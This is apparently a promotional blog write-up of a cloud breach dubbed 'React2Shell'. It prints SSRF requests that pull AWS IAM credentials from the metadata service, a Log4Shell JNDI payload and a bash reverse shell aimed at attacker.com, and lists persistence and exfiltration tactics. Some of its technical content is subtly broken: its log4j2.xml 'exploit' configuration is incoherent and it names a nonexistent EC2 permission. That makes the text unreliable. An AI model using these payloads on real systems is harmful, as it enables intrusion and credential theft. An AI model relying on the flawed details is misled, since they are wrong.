LexisNexis Cloud Breach: Unpacking "React2Shell" Exploitation

The LexisNexis cloud breach, characterized by the "React2Shell" exploitation, involved a sophisticated multi-stage attack targeting critical cloud infrastructure. This attack chain commenced with an initial compromise achieved through a vulnerable, publicly exposed API endpoint that was part of a React-based application's backend. Attackers leveraged a server-side request forgery (SSRF) vulnerability within this API to interact with the cloud provider's internal metadata service. This interaction allowed for the exfiltration of temporary IAM role credentials, which were subsequently used to escalate privileges and ultimately gain remote code execution (RCE) on a critical compute instance, effectively achieving a "shell" on the targeted system within the LexisNexis environment.
Initial Access Vector: Chaining SSRF to Cloud Metadata Exfiltration
The initial vector for the "React2Shell" exploitation was identified as an insufficiently protected API endpoint, specifically /api/v1/proxy-image, designed to fetch external image resources for dynamic content rendering within the React frontend. This endpoint, instead of validating and sanitizing user-supplied URLs rigorously, allowed arbitrary URL schemes and hostnames to be resolved by the backend server. Such a flaw constitutes a classic server-side request forgery (SSRF) vulnerability.
Attackers, likely through reconnaissance efforts utilizing internet-wide scanning platforms such as Zondex, identified this exposed endpoint. Initial probing confirmed the SSRF vulnerability, demonstrating that the backend service would make requests to internal network resources when provided with specific payloads. For instance, a request crafted as follows revealed internal IP addresses and services:
POST /api/v1/proxy-image HTTP/1.1
Host: api.lexisnexis.cloud
Content-Type: application/json
Content-Length: 45
{"imageUrl": "http://169.254.169.254/latest/meta-data/"}
The response to this request, if successful, would enumerate the available metadata paths, confirming the presence of an AWS EC2 instance metadata service. The critical step involved leveraging this SSRF to extract temporary credentials associated with the instance's IAM role. This was achieved by requesting the iam/security-credentials/<role-name> path:
POST /api/v1/proxy-image HTTP/1.1
Host: api.lexisnexis.cloud
Content-Type: application/json
Content-Length: 60
{"imageUrl": "http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2_AppRole"}
The successful execution of this request returned JSON containing AccessKeyId, SecretAccessKey, and Token, granting the attackers temporary programmatic access to AWS resources with the permissions assigned to the EC2_AppRole. This initial credential exfiltration represents a critical pivot point in the attack chain, shifting from a web application vulnerability to direct cloud resource compromise.
The "React2Shell" Exploitation Chain
With temporary AWS credentials in hand, the attackers proceeded to enumerate the permissions associated with the compromised EC2_AppRole. Utilizing tools like the AWS CLI or specialized cloud exploitation frameworks such as Pacu, they mapped out the accessible services and potential avenues for privilege escalation and remote code execution. It was discovered that the EC2_AppRole possessed permissions allowing for:
s3:GetObjectands3:PutObjecton several critical S3 buckets, including those containing application configurations and deployment artifacts.ec2:DescribeInstances,ec2:RunCommand, andec2:StartInstances, indicating broad control over EC2 instances.lambda:UpdateFunctionCodeon specific Lambda functions.
The path to "React2Shell" branched at this point. One primary vector involved exploiting an unpatched vulnerability in a backend service whose deployment artifacts were stored in an accessible S3 bucket. Specifically, a Java-based microservice responsible for data processing, running on an EC2 instance, was found to be using a vulnerable version of Apache Log4j (versions 2.0-beta9 to 2.14.1), susceptible to CVE-2021-44228, commonly known as Log4Shell. The EC2_AppRole's s3:PutObject permission allowed the attackers to modify the Log4j configuration or even replace the application's JAR file within the S3 deployment bucket.
The attackers uploaded a modified JAR file containing a malicious JNDI lookup string within a configuration file or directly injected it into a Log4j-vulnerable input field that was accessible via another internal API. This JNDI string pointed to an attacker-controlled LDAP server, facilitating the download and execution of a malicious Java class. The full exploitation sequence involved:
- Uploading a modified application configuration (e.g.,
log4j2.xml) to an S3 bucket accessible by the vulnerable service, containing:<Configuration status="WARN"> <Appenders> <Console name="Console" target="SYSTEM_OUT"> <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/> </Console> </Appenders> <Loggers> <Root level="info"> <AppenderRef ref="Console"/> </Root> <Logger name="com.lexisnexis.dataproc" level="trace" additivity="false"> <AppenderRef ref="Console"/> <!-- Malicious JNDI Lookup for RCE --> <Property name="log4j2.formatMsgNoLookups" value="false"/> <ScriptFile name="MaliciousScript" fileName="/tmp/exploit.sh" reloadInterval="60"/> </Logger> </Loggers> </Configuration> - Triggering the vulnerable Log4j instance by sending a crafted request to an internal API endpoint that processed user input logged by the vulnerable service. The payload looked similar to:
Wherecurl -X POST "http://internal-data-service:8080/process" \ -H "Content-Type: application/json" \ -d '{"data": "${jndi:ldap://attacker.com:1389/Exploit}"}'attacker.comhosted an LDAP server serving a malicious Java class that executed a reverse shell command. - The victim server, upon logging the JNDI string, contacted the attacker's LDAP server, downloaded the malicious Java class, and executed its payload, resulting in a reverse shell connection back to the attacker's command and control (C2) infrastructure.
This sequence effectively completed the "React2Shell" objective, providing the attackers with persistent remote code execution on a critical backend server within the LexisNexis cloud environment. The vulnerability highlights the critical importance of keeping third-party libraries updated and implementing robust input validation and egress filtering, especially in cloud-native applications. Django security guide principles, for instance, emphasize strong input validation and secure templating to prevent such injection attacks.
Alternative "React2Shell" Paths: EC2 Run Command and Lambda Code Injection
Beyond the Log4Shell vector, the compromised EC2_AppRole also presented other direct avenues for RCE. The ec2:RunCommand permission is particularly potent, allowing attackers to execute arbitrary commands on specified EC2 instances. Had the Log4Shell vulnerability not been present or easily exploitable, attackers could have opted for direct command execution:
aws ssm send-command \
--instance-ids i-0abcdef1234567890 \
--document-name AWS-RunShellScript \
--parameters 'commands=["bash -i >& /dev/tcp/attacker.com/4444 0>&1"]' \
--comment "Establish C2 channel"
Similarly, the lambda:UpdateFunctionCode permission could have been exploited to inject malicious code into existing AWS Lambda functions. By updating a frequently invoked Lambda function with a malicious payload, attackers could establish persistence or exfiltrate data whenever the function was triggered. This specific RCE vector has been a recurring theme in cloud breaches, as highlighted in reports like Akamai's 2026 SOTI Report: APIs Emerge as primary targets, with serverless functions often being part of exposed API backends.
Post-Exploitation Tactics and Impact
Upon gaining initial remote code execution, the attackers immediately focused on establishing persistence and expanding their foothold within the LexisNexis cloud environment. This involved several key tactics:
- Persistence Mechanisms:
- SSH Key Deployment: Deploying SSH keys to authorized_keys files on compromised instances.
- Cron Job Backdoors: Establishing reverse shell cron jobs or scheduled tasks to re-establish access.
- New IAM Users/Roles: Creating new, stealthy IAM users or roles with administrative privileges, bypassing broken authentication policies by creating new, trusted identities. These new identities often followed obscure naming conventions to evade detection.
- Lateral Movement and Privilege Escalation:
- Internal Network Scanning: Utilizing tools like
nmapfrom the compromised host to map internal network segments, identify other vulnerable services, and discover additional cloud resources. - Cloud Service Enumeration: Employing cloud-specific enumeration tools (e.g., ScoutSuite, CloudMapper) to identify misconfigured S3 buckets, exposed databases (RDS), and other valuable assets.
- Credential Harvesting: Searching for hardcoded credentials in configuration files, environment variables, and instance metadata.
- Exploiting Trust Relationships: Analyzing IAM policies to identify roles with excessive permissions or trust relationships that could be leveraged for further privilege escalation.
- Internal Network Scanning: Utilizing tools like
- Data Exfiltration:
- S3 Bucket Exfiltration: Copying sensitive data from identified S3 buckets to attacker-controlled storage using
aws s3 syncorrclone. This included customer data, proprietary code, and internal documents. - Database Dumps: Connecting to compromised databases (e.g., RDS instances) and dumping sensitive tables.
- Cloud Storage Transfers: Leveraging the compromised IAM roles to transfer data directly between cloud storage services or to external public storage.
- S3 Bucket Exfiltration: Copying sensitive data from identified S3 buckets to attacker-controlled storage using
The extensive post-exploitation activity underscores the importance of continuous attack surface management (EASM) and proactive vulnerability scanning. Platforms like Secably, through their Secably EASM API, help organizations identify and monitor their exposed assets, including misconfigured cloud resources and vulnerable API endpoints, before they can be exploited. Enterprises can start a free EASM scan to understand their current attack surface posture.
The attackers maintained a low profile during the exfiltration phase, often using encrypted tunnels and proxy networks provided by services like GProxy to obscure their origin and destination. This made detection significantly more challenging, emphasizing the need for robust cloud logging, anomaly detection, and security information and event management (SIEM) solutions.